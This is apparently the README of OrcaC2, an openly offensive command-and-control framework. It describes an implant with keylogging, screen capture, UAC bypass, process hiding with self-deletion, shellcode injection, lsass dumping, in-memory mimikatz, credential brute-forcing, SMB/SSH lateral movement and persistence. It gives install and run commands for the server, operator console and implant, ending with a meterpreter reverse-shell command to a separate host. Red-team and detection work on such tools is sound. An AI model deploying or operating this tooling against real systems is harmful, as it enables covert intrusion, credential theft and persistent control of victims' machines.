Websocket通信，json格式传输数据，消息与数据采用AES-CBC加密+Base64编码远程命令控制（增加命令备忘录功能，可以快速选择长命令）文件上传/下载屏幕截图（被控端为Windows系统）远程屏幕控制（基于截图流，可控制键盘与鼠标）（被控端为Windows系统）键盘记录可查询被控端与被控主机基本信息（查询ip纯真库定位外网ip所对应的地理区域）进程枚举/进程终止可交互式终端（被控端为linux系统）隐藏进程（在使用ps命令时显示进程名为进程列表中任意进程，并能够删除自身程序）（被控端为linux系统）绕过UAC，获取管理员权限（被控端为Windows系统）CLR内存加载.Net程序集（被控端为Windows系统）远程加载Powershell模块（被控端为Windows系统）远程Shellcode、PE加载（支持的注入方式：CreateThread、CreateRemoteThread、RtlCreateUserThread、EtwpCreateEtwThread）（被控端为Windows系统）正/反向代理、socks5正/反向代理（支持的协议：tcp、rudp(可靠udp)、ricmp(可靠icmp)、rhttp(可靠http)、kcp、quic）多协程端口扫描（指纹识别端口信息）多协程端口爆破（支持ftp、ssh、wmi、wmihash、smb、mssql、oracle、mysql、rdp、postgres、redis、memcached、mongodb、snmp）远程ssh命令执行/文件上传/文件下载/ssh隧道远程smb命令执行(无回显)/文件上传（通过rpc服务执行命令，类似wmiexec；通过ipc$上传文件，类似psexec）使用MiniDumpWriteDump API 提取Lsass.dmp（被控端为Windows系统）CreateProcessWithPipe方式加载执行mimikatz、fscan（被控端为Windows系统）；memfd方式加载执行fscan（被控端为linux系统）持久化（计划任务、注册表启动项、服务）（被控端为Windows系统）反弹meterpreter

$ git clone https://github.com/Ptkatz/OrcaC2.git$ cd OrcaC2$ chmod +x install.sh$ ./install.sh

 -c: 指定配置文件路径 -au: 添加用户 -du: 删除用户 -mu: 修改用户的密码

Orca_Server_win_x64.exe -au

 -u | --username: 连接到Server端的用户名 -p | --password: 连接到Server端的密码 -H | --host: 连接到Server端的地址，默认为127.0.0.1:6000 -c | --color: logo与命令提示符的颜色

Orca_Master_win_x64.exe -H 192.168.1.110:6000 -u 3had0w -p 123456

Orca[3had0w] » helpOrcaC2 command line tool
Commands:  clear            clear the screen  exit             exit the shell  generate, build  generate puppet  help             use 'help [command]' for command help  list, ls         list hosts  persist          permission maintenance  port             use port scan or port brute  proxy            activate the proxy function  select           select the host id waiting to be operated  ssh              connects to target host over the SSH protocol

-host: 连接到Server端的地址，默认为127.0.0.1:6000-debug: 打开调试信息，默认为false-hide: 在Linux系统下可以伪造进程名，并删除自身程序文件

Orca_Puppet_win_x64.exe -host 192.168.1.110:6000 -debug -hide

Orca[3had0w] → 192.168.1.110 » help
OrcaC2 command line tool
Commands:  assembly         manage the CLR and execute .NET assemblies  back             back to the main menu  clear            clear the screen  close            close the selected remote client  dump             extract the lsass.dmp  exec             execute shellcode or pe in memory  exit             exit the shell  file             execute file upload or download  generate, build  generate puppet  getadmin         bypass uac to get system administrator privileges  help             use 'help [command]' for command help  info             get basic information of remote host  keylogger        get information entered by the remote host through the keyboard  list, ls         list hosts  persist          permission maintenance  plugin           load plugin (mimikatz｜fscan)  port             use port scan or port brute  powershell       manage powershell script  process, ps      manage remote host processes  proxy            activate the proxy function  reverse          reverse shell  screen           screenshot and screensteam  select           select the host id waiting to be operated  shell, sh        send command to remote host  smb              lateral movement through the ipc$ pipe  ssh              connects to target host over the SSH protocol

reverse meterpreter -t tcp -H 192.168.1.120:443